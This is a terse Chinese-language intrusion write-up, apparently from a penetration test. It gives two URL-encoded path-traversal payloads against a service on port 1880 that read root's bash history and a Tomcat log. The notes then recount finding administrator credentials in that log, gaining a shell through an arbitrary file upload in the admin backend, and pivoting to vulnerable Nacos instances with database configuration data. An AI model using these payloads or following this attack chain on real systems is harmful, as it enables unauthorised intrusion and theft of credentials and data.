IP:1880/%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2froot%2F.bash_history

读取历史命令 发现频繁查看日志文件

IP:1880/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Ftomcat%2Fapache-tomcat-8.5.78%2Flogs%2Fcatalina.out

下载到本地查看 搜索到管理员账号密码

大量敏感数据

后台存在任意文件上传

Getshell

进内网常规打法 发现几个nacos存在历史漏洞，配置信息里大量数据库。。